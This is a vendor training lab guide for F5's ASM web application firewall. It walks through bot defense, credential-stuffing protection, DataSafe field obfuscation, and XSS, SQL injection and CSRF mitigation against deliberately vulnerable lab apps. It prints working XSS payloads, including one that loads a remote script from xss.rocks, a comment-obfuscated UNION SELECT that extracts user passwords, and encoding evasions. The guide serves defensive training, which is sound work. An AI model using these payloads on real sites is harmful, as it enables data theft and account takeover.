ASM Lab Day: ASM - Advanced Mitigation Techniques
ASM Lab Day: ASM - Advanced Mitigation Techniques
ASM Lab Day: ASM - Advanced Mitigation Techniques
©2017 F5 Networks, Inc. All rights reserved. F5, F5 Networks, and the F5 logo are trademarks of F5 Networks, Inc. in the U.S. and in
certain other countries. Other F5 trademarks are identified at f5.com.
Any other products, services, or company names referenced herein may be trademarks of their respective owners with no endorsement or
affiliation, express or implied, claimed by F5.
These training materials and documentation are F5 Confidential Information and are subject to the F5 Networks Reseller Agreement. You
may not share these training materials and documentation with any third party without the express written permission of F5.
Table of Contents
Table of Contents ..................................................................................................................................... 2
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 4
Lab 1 – Bot Signatures and Proactive Bot Defense
The Event Correlation page begins refreshing every 10 seconds. Notice the blue countdown timer in
the top right of the screen
The attack will begin running. Let it run for several seconds before moving to the next task.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 5
Lab 1 – Bot Signatures and Proactive Bot Defense
→NOTE: Do not select one of the incidents in the left panel; it will stop auto refreshing the page.
If that happens simply select the incident again and the countdown timer will begin
again.
It will take a couple minutes for the ASM event correlation to correlate the individual requests in the
log. After several refreshes you should begin to see a few events.
Watch – DO NOT SELECT - the two Malicious Session – Malicious Repetitive Access events. Watch as
these will change as the event correlation engine sees more violations from one of these two IP
addresses.
After another few refreshes you will see even more events. After about 4 or 5 minutes you should have
around 30 events listed.
Notice that one of the Malicious Sessions has moved to the top of the list and now reads
Malicious Repetitive Access and more.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 6
Lab 1 – Bot Signatures and Proactive Bot Defense
Select the top Malicious Session incident to view more details, and then click the All Details button.
Select the Incident Subtype list to see how many incident subtypes were sent in this malicious session.
Questions:
How long did this malicious session last? ___________________________
How many different requests were involved in the malicious session? __________________
Without the new event correlation feature it would be difficult would to dig through all of the
requests in the ASM request log and identify and correlate the various attacks with which this IP
address was involved.
In previous version ASM only correlated events from the same IP address or to the same URL. ASM
will now correlate based on IP address, DeviceID, and various attack types.
Click the Malicious Session incident to deselect it.
If enough time has passed, the Incident Type Volume Graph will have updated to show you a
high-level overview of the incident types.
Close the command prompt.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 7
Lab 1 – Bot Signatures and Proactive Bot Defense
On the General Settings page click Disabled and then select the Enabled checkbox.
Click TPS-based Detection, then for Operation Mode select Off.
Click Bot Signatures, then click Disabled, then select the Enabled checkbox, and then click Update.
→NOTE: The virtual server uses HTTP instead of HTTPS because one of the DoS attack tools will
be using don’t support SSL.
From the DoS Protection Profile list select Enabled and leave Bots-Lab selected and click Update.
Notice that there is a log publisher configured named ASM-Bot-DoS-Log-All.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 8
Lab 1 – Bot Signatures and Proactive Bot Defense
Open the Security > Event Logs > Logging Profiles page and click ASM-Bot-DoS-Log-All.
Notice this log profile includes Application Security, Dos Protection, and Bot Defense logging.
Use Apache Bench to attack the website using the following command:
ab -c 10 -n 10 -r http://10.1.10.56/
ApacheBench (ab) is a single-threaded command line computer program for measuring the
performance of HTTP web servers. The -c switch identifies the number of multiple requests to make
at one time. The -n switch identifies the total number of requests, and the -r switch prevents the
command from exiting on socket receive errors.
In the Configuration Utility, navigate to Security > Event Logs > Bot Defense and right-click on Requests,
and then select Open Link in New Tab.
→NOTE: When viewing the Bot Defense log you will need to scroll to the right to see some of the
fields.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 9
Lab 1 – Bot Signatures and Proactive Bot Defense
In the new tab, examine the Bot Defense log.
In the Bot Defense logs we can see exactly WHO was blocked, HOW they were blocked, and WHY they
were blocked. This level of logging was only available via iRules in previous versions and gives much
greater visibility into Bot Defense mitigations.
This is a “simple bot” and the DoS Profile could identify and block the bot based on its signature, “ab”
in the User-Agent HTTP header. In the next exercise, we will change the User-Agent header and see if
the DoS Profile can block it.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 10
Lab 1 – Bot Signatures and Proactive Bot Defense
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
Navigate to Security > Options > DoS Protection and right-click on Bot Signatures List, and then select
Open Link in New Tab.
In the new tab click Create.
Create a new bot signature using the following information, and then click Create, and then close the
new tab. (NOTE: Copy and paste the string value.)
Name kalakalazoomzoom
Category DoS Tool
User-agent > contains kalakalazoomzoom
Risk Medium
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
The request was blocked because it matched the new custom signature.
We can’t block using a signature or we’d block every legitimate browser using this browser
or OS. How do we block these bots without using a signature?
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 11
Lab 1 – Bot Signatures and Proactive Bot Defense
Navigate to Security > DoS Protection and right-click on DoS Profiles, and then
select Open Link in New Tab.
In the new tab click Bots-Lab, and then open the Application Security page.
Click Proactive Bot Defense, then click Off, then change Operational Mode to Always.
For Block requests from suspicious browsers click Edit.
Clear the Block Suspicious Browsers checkbox, and then click Update.
In the command prompt copy and paste the following command, and then close the command prompt:
ab -c 10 -n 10 -r -H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0)
Gecko/20100101 Firefox/40.1" http://10.1.10.56/
→NOTE: Make sure to issue the entire command on one line and within 60 seconds from the dos
profile update.
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
Question:
Which mitigation is being used? _____________________________
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 12
Lab 1 – Bot Signatures and Proactive Bot Defense
The DoS profile responded to the “bot” with a ‘simple challenge’ – during the grace period ASM sends
a redirect challenge (sending a redirect message with a cookie). Note the Reason field. This field
gives descriptive explanation for why a challenge was (or was not) possible. Proactive Bot Defense
stops simple bots, even if they are trying to impersonate legitimate browsers with a valid User-Agent
header, by responding with a JavaScript challenge.
Wait 60 seconds to let the grace timer expire. Then run the command again
ab -c 10 -n 10 -r -H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0)
Gecko/20100101 Firefox/40.1" http://10.1.10.56/
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
Question:
Which mitigation is being used? _____________________________
Question:
Which mitigation is being used? _____________________________
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 13
Lab 1 – Bot Signatures and Proactive Bot Defense
→NOTE: Make sure to use the User-Agent Switcher in the above image.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 14
Lab 1 – Bot Signatures and Proactive Bot Defense
Open a Chrome incognito window, and then click the Chrome UA Spoofer button.
This will force Chrome to send a User-Agent header that looks like it’s coming from Safari on an Apple
computer, even though we are actually using Chrome on a Windows computer.
Access http://10.1.10.56.
The CAPTCHA challenge will block even JS-enabled bots (AKA headless browsers) but still let
legitimate human users access the site. Additionally, the CAPTCHA will only be presented if/when a
browser does not pass the capabilities challenge. Most browsers will pass this challenge with a low
enough score that most users will NOT even see the CAPTCHA.
Open a new incognito window and click the Chrome UA Spoofer button and select
Internet Explorer > Internet Explorer 6, and then access http://10.1.10.56.
When you begin receiving the error responses, close the window.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 15
Lab 1 – Bot Signatures and Proactive Bot Defense
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
The request was blocked due to coming from a suspicious browser No CAPTCHA challenge was
presented.
Open a new incognito window and click the Chrome UA Spoofer button and select Chrome > Default,
and then access http://10.1.10.56, and then close the DVWA page.
In the Configuration Utility, on the Bot Defense > Requests tab reload the page.
The request from Chrome passed the browser challenge and no CAPTCHA challenge was presented.
Close the Bot Defense > Requests tab.
ISC FY18 Lab Guides – ASM – Advanced Mitigation Techniques; v13.0.A Page | 16
Lab 2 – Brute Force and Credential Stuffing
Question:
What is the name value for this field? _____________________________
Question:
What is the name value for this field? _____________________________
We will use this information to define the login page in the ASM policy. We’ll then configure brute
force and credential stuffing protections for the login page
Close the developer tools window.
Attempt to log in10 more times with your first name as Username and different random strings
as Password.
Questions:
What text displays on the failed login page? _____________________________
You would be able to brute force this page by attempting thousands of password combinations.
Close Chrome.
In the Distributed Brute Force Protection section configure the following, and then click Create.
Detection Period 15 Minutes
Maximum Prevention Duration 60 Minutes
Detect Distributed Attack Never
Detect Credential Stuffing Never
→NOTE: It’s important that you use different usernames for each login attempt.
Question:
How many times were you able to attempt to login before getting the CAPTCHA challenge?
_______________
→NOTE: If you do not see a new blocked request then you may have not completed the
CAPTCHA. CAPTCHA-challenged requests are not logged until completed. If this is the
case, return to the Hackazon login page and complete the CAPTCHA. If you did not
complete the CAPTCHA soon enough it may STILL not be logged. In that case, try
additional logins until you are blocked. However, you may receive the blocking page
rather than the CAPTCHA.
Questions:
What is the Mitigated Action? ___________________
View the first 15 log entries and examine the Device ID value on the All Details page.
Question:
Why don’t the first 10 or so log entries have a Device ID value?
_______________________________________________________
Is the Device ID the same for the rest of the log entries? ________________
In many cases it is not possible or desirable to inject the JavaScript necessary to collect a Device ID. In
that case ASM can still detect this type of attack by IP address.
Select the checkbox to select all the log entries, and then click Delete Requests.
→NOTE: A couple of minor changes have been made to the page so that you MAY be able to see
when you are getting this Honeypot page. See if you can tell what those changes are
once you start the attack in the next step.
Question:
How many times were you able to attempt to login before getting the CAPTCHA challenge?
_______________
Select the first illegal log entry (the lowest in the list) and view the All Details page.
Questions:
What is the Request Status? ___________________
________________________________________________
Questions:
What is the Mitigated Action? ___________________
Select the most recent blocked log entry and view the All Details page.
Questions:
What is the Request Status? ___________________
Questions:
What is the Mitigated Action? ___________________
This setting will enable ASM to use the X-Forwarded-For value (from the iRule) as the IP address of
the incoming request.
Click Save, then click Apply Policy and then OK, and then close the tab.
Sentry MBA is already configured to attack the Hackazon login page. We’ll examine the tool settings
to see how it is configured.
In Sentry MBA, examine the URL in the Site list.
From the left menu select Settings > HTTP Header.
Click the “magic wand” icon on the lower right corner.
______________________________________________________________________
______________________________________________________________________
Question:
Why were there no successful logins found? _____________________________________
After ten seconds or so, click Abort, and then click Stop, and then close Sentry MBA.
Question:
How many times were the first ten usernames attempted? ____________________
Note that the logins failed. This is only because they were not valid credentials for this website. IF
they had ben valid credentials they would have succeeded with any of the first 20 login attempts.
Question:
Why is the Failed Logins result of all the subsequent login attempts “N/A”?
___________________________________________
Question:
What is the name value for this field? ___________________________
Question:
What is the name value for this field? ___________________________
FOOD FOR THOUGHT: How difficult would it be for malware to know which fields to grab to steal
credentials from this page? How difficult would it be for an attacker to stuff credentials
into these fields? They could simply put the stolen username into the “username” field
and the stolen password in the “password” field. This is what you did with the Sentry
MBA tool earlier in this lab.
NOTE: Your login will fail, but your credentials were still sent to the web server.
In the Network tab select the /login?return_url= entry, and then examine the Params tab.
NOTE: It should NOT have ?return_url= at the end of the URL in the address bar.
Right-click inside the Username or Email field and select Inspect Element again.
Right-click on the highlighted text and select Edit as HTML.
Select all the text in the window and type Ctrl+C to copy the text.
Click after the end of type="text"> and type <br>, and then press the Enter key twice.
Type Ctrl+V to paste the copied text.
For the new pasted entry, change the name, id, and data-by-field values to mobile, and change the
placeholder value to Mobile Phone Number.
Click outside of the edit box and examine the Hackazon login page.
This is an example of the type of “web injects” that malware can perform to collect additional
information. This same technique could be used to remove text or form fields. Note that this was
done on the client side, in the browser, without any requests being sent to the server. The web
application and any security infrastructure protecting it would have no idea this is happening in the
browser.
Close Firefox.
DataSafe includes only the Application Layer Encryption (ALE) module of WebSafe. Unlike WebSafe,
DataSafe is licensed perpetually per device, just like ASM, APM, or any other licensed module.
DataSafe is NOT included in the Best Bundle.
Open the System > Resource Provisioning page.
When DataSafe is licensed, Fraud Protection Service (FPS) will display as Licensed.
This is different than WebSafe, where Fraud Protection Services will show up as N/A.
Scroll to the left, and from the left menu open the Application Layer Encryption page.
Notice that most features are enabled by default.
Review the explanations for the different features.
Select the Add Decoy Inputs and Remove Element IDs checkboxes, and then click Create.
Open the Virtual Server List page and click Hackazon_protected_virtual, and then open the virtual
server Security > Policies page.
From the Anti-Fraud Profile list select Enabled.
From the Profile list box, select Hackazon-DS, and then click Update.
Question:
What is the name value for this field? _________________________________________
Obfuscation - Notice that the name of the password field (outlined in red) is now a long cryptic name
and is changing every second. The same is true of the username field.
Add Decoy Inputs – Notice that there are other random inputs being added (outlined in green). The
number and order of these inputs is changing frequently.
FOOD FOR THOUGHT: Considering this obfuscation and you earlier review of the Sentry MBA
tool, do you think DataSafe could protect the login page from a credential stuffing tool
like Sentry MBA?
In the developer tools window select the Network tab, then click the trash can icon to delete any current
requests.
On the login page enter your first name as username and P@ssw0rd! as password and click Sign In.
In the Network tab select the /login?return_url= entry, and then examine the Params tab.
Questions:
What parameters were submitted? _________________________________________
Obfuscation – DataSafe obfuscates the names of the parameters when they are submitted in a login
request.
Encryption – DataSafe encrypted the value of the password field so that it is not a readable value in
the login request.
These two features together protect the credentials from being stolen by malware “POST grabbers”.
Question:
Was ASM able to capture the username while the field name was obfuscated? __________
The POST request was first handled by DataSafe and the parameters names were de-obfuscated and
decrypted before being handed off to ASM.
Open Firefox window and access http://unprotected.f5demo.com and log in as admin / password.
On the navigation menu, click XSS (Reflected).
Type your first name into the field, and then click Submit.
Note that the name you entered is shown in the response. This is known as “reflection”; user input is
shown, or reflected, in the response.
Copy and paste the following into the field, and then click Submit:
'';!--"<F5ROCKS>=&{()}
This is a common string used to test what, if any, filters and/or encoding are being used on user input.
Typically, the source of the page after this injection will contain either <XSS or <XSS. If the second is
found, the application is most likely not filtering user input (as it allowed the addition of an arbitrary
tag) and is likely vulnerable to XSS.
Note that the visible response does not reflect the string “<F5ROCKS” and does not APPEAR to show
vulnerability. Let’s view the page source to be sure.
Right-click on the page and select View page source.
Type Ctrl+F to open the inline search bar and search for F5ROCKS.
The presence of “<F5ROCKS” in the page source is an indicator that the page is not filtering user input
and is likely vulnerable to XSS.
Close the source page tab.
Click Home, and then click XSS (Reflected) again.
This is done to clear the previous attack string from the URL and thus the referrer header on the
subsequent request. This will help avoid confusion when looking at the ASM request logs so that the
same signatures do not match for the next request
Copy and paste the following into the field, and then click Submit:
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))// --
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//
This injection attempts to terminate a JavaScript string literal (using '), then terminate the statement
(with ;) and makes a call to alert(String.fromCharCode(88,83,83)) which will cause a popup box
containing "XSS". The following // is an attempt to "comment out" the rest of the statement, so that a
syntax error will not occur and the script will execute.
ASM lab day – 13.1 Page | 37
Optional Lab 1 – Evasion Techniques
";alert(String.fromCharCode(88,83,83))// --
This injection is like the previous injection, but it uses " in an attempt to terminate a JavaScript string
literal.
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
This attempts to do the following things:
* Terminate an HTML (or XML) comment (with -->)
* Terminate an existing <SCRIPT> tag using </SCRIPT>
* This is done to prevent the injected script causing a syntax error, which would prevent the
injected script from executing.
* Terminate an HTML attribute and tag, using ">
* Terminate an HTML attribute and tag, using '>
* Inject JavaScript using <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>.
Click Home, and then click XSS (Reflected) again.
Copy and paste the following into the field, and then click Submit:
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
This is a standard JavaScript injection that is calling a remote .js file.
Close Firefox.
Select the checkbox to select all the log entries, and then click Delete Requests > Delete all requests.
Open a new private Firefox window and access http://protected.f5demo.com and log in
as admin / password.
On the navigation menu, click XSS (Reflected).
Copy and paste the following into the field, and then click Submit:
'';!--"<F5ROCKS>=&{()}
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry with the violation rating and click Attack signature detected to see which signatures
were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click Home, and then click XSS (Reflected) again.
Copy and paste the following into the field, and then click Submit:
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))// --
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry with the violation rating and click Attack signature detected to see which signatures
were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click Home, and then click XSS (Reflected) again.
Copy and paste the following into the field, and then click Submit:
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry with the violation rating and click Attack signature detected to see which signatures
were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click Home, and then click XSS (Reflected) again.
In Burp Suite, click Intercept is off (ensure that it reads Intercept is on).
In Firefox click Home, and then in Burp Suite click Forward until the DVWA home page displays.
In the DVWA page copy and paste the following into the field, and then click Submit:
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
In Burp Suite select the entire parameter value (everything after the =), then right-click on the parameter
value and select Send to Decoder.
Select the entire URL-encoded value (use Ctrl+A) and copy it (use Ctrl+C).
Select the Proxy tab.
Right-click on the selected parameter value and select Paste to replace it with the URL-encoded string.
Click Forward until the reflected response displays on the DVWA page.
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry for /vulnerabilities/xss_r/ with the violation rating and click
Attack signature detected to see which signatures were matched to trigger the violation rating.
Questions:
Did encoding the XSS attack hide it from ASM? ___________________
Select the checkbox to select all the log entries, and then click Delete Requests.
In Burp Suite insert a URL-encoded null character (%00) in the middle of the first and last SCRIPT tags
(i.e. SCR%00IPT).
Click Forward until the dialog box displays on the DVWA page.
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry for /vulnerabilities/xss_r/ with the violation rating and click
Attack signature detected to see which signatures were matched to trigger the violation rating.
Question:
Did encoding the XSS attack hide it from ASM? ___________________
Select the checkbox to select all the log entries, and then click Delete Requests.
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry for /vulnerabilities/sqli/ with the violation rating and click
Attack signature detected to see which signatures were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click Home, and then click SQL Injection again.
Questions:
Are the signature IDs the same as the previous request? ___________________
What does this tell you about ASM signatures and the normalization engine
_______________________________________________________
Select the checkbox to select all the log entries, and then click Delete Requests.
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry for /vulnerabilities/sqli/ with the violation rating and click
Attack signature detected to see which signatures were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click Home, and then click SQL Injection again.
Copy and paste this less obvious “always true” string into the field, and then click Submit:
' and 1=0 un/**/ion/**/sel/**/ect null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
This string is trying to hide the union select command by inserting SQL comments between and in the
middle of the words.
In the Configuration Utility, on the Application > Requests page select Refresh.
Select the log entry for /vulnerabilities/sqli/ with the violation rating and click
Attack signature detected to see which signatures were matched to trigger the violation rating.
Select the checkbox to select all the log entries, and then click Delete Requests.
In the DVWA page, click the Back button, then click Home, and then click SQL Injection again.
We will now use Burp Suite to intercept, view, and manipulate the POSTs to the login page.
In Burp Suite, click Intercept is off (ensure that it reads Intercept is on).
On the Simple Store page log in as user / user and click Sign in.
View the request in Burp Suite.
Notice that the POST data is not in typical key / value pairs. The POST data is in JSON format. Also, the
Content-Type is “application/ json;charset=utf-8”.
Click Forward.
In Burp Repeater we can manipulate and resend this request many times and see the responses.
Select the Repeater tab.
Change the username and password JSON parameter values to test / test.
Click Go.
Examine the Response.
The response identifies that we successfully logged into the application using the manipulated
credentials.
Questions:
What information in the response tells us that an ASM policy is applied?
___________________________________________
In the Configuration Utility, open the Security > Event Logs > Application > Requests page, and then
clear the filter by clicking on the X next to Illegal Requests.
Question:
What signatures were matched for this request? __________________________________
ASM could parse the JSON parameters and identify the request as malicious. However, it did not
block the request because the signatures are in staging.
Select the checkbox to select all the log entries, and then click Delete Requests.
The default JSON profile allows ASM to validate JSON format and check the parameter names and
values against signatures.
On the Attack Signatures page, select the checkboxes for the three signatures, and then click Enforce
and then OK, then click Apply Policy and then OK.
In Burp Suite click Go to resend the request with the SQL injection attempt, and then examine the
response.
ASM lab day – 13.1 Page | 51
Optional Lab 2 – Protecting JSON Applications
Question:
Was the SQL injection attempt blocked by ASM? _________________
In the Configuration Utility, on the Security > Event Logs > Application > Requests tab refresh the page.
Select the blocked /api/v1/login log entry and examine the log details.
Select the checkbox to select all the log entries, and then click Delete Requests.
Question:
Was the request blocked? _________________
In the Configuration Utility, on the Security > Event Logs > Application > Requests tab refresh the page.
Select the blocked /api/v1/login log entry.
<script>window.alert("You have been hacked!!!");</script>
Question:
Besides the signature violation, what other violation(s) were matched? _________________
Not only were the XSS signatures matched but ASM is also validating correct JSON formatting. This
“positive security model” function would help catch zero-day or obfuscated attacks that may NOT
trigger a signature.
Select the checkbox to select all the log entries, and then click Delete Requests.
Questions:
What “unintended” action was taken? _________________________________________
Click the Back button until you return to the Bad Kitties page.
In the DVWA tab click Logout, and then attempt to log back in as admin / password.
On the Bad Kitties tab, mouse over Bad Kitty and see if you can identify what the admin password was
changed to.
In the DVWA tab, log in as admin and the new password.
In the left menu click CSRF and use this page to change the password back to password, and then close
both tabs.
Use the following information for the new policy, and then click Create Policy.
Policy Name DVWA-Protected
Policy Template Comprehensive (click OK)
Virtual Server DVWA_protected_virtual (HTTP)
Application Language Unicode (utf-8)
We’re removing the wildcard because we only want to inject the JavaScript needed to generate the
CSRT token on the change password page.
ASM lab day – 13.1 Page | 56
Lab 3 – Cross Site Request Forgery Protection
Change from Simple Edit Mode to Advanced Edit Mode.
For the new URL, from the Method list select GET, and for URL copy and paste /vulnerabilities/csrf/,
and then click Add.
Questions:
Was the CSRF attack successful? _________________________________________
Question:
What is the Attack Type? _______________________
Questions:
What is the Violation Reason? ____________________________________
In the protected DVWA tab, right-click on the Change button and select Inspect Element.
Question:
What is different in the protected DVWA page? __________________________________
This is the cross-site request token (csrt) injected into the page by ASM.
In the developer tools window select the Network tab, then click the trash can icon to delete any current
requests.
Enter password into both fields to change the password, and then click Change.
In the Network tab select the /vulnerabilities/csrf/?password… entry, and then examine
the Params tab.
Questions:
How many parameters were included in this request? _____________________
What are the last four digits of the csrt parameter value? ____________________
Open Chrome and access http://protected.f5demo.com and log in as admin / password, and then
click CSRF.
Right-click on the Change button and select Inspect.
In the developer tools window select the Network tab.
Enter password into both fields to change the password, and then click Change.
Questions:
Are the last four digits of the csrt parameter the same as the one from Firefox?
____________________
What does that tell you about the CSRT token for each session / browser?
_______________________________________________________________
Many WAFs simply look at validating the referrer header in the request. How could this approach be
circumvented?
Close the Chrome and Firefox windows.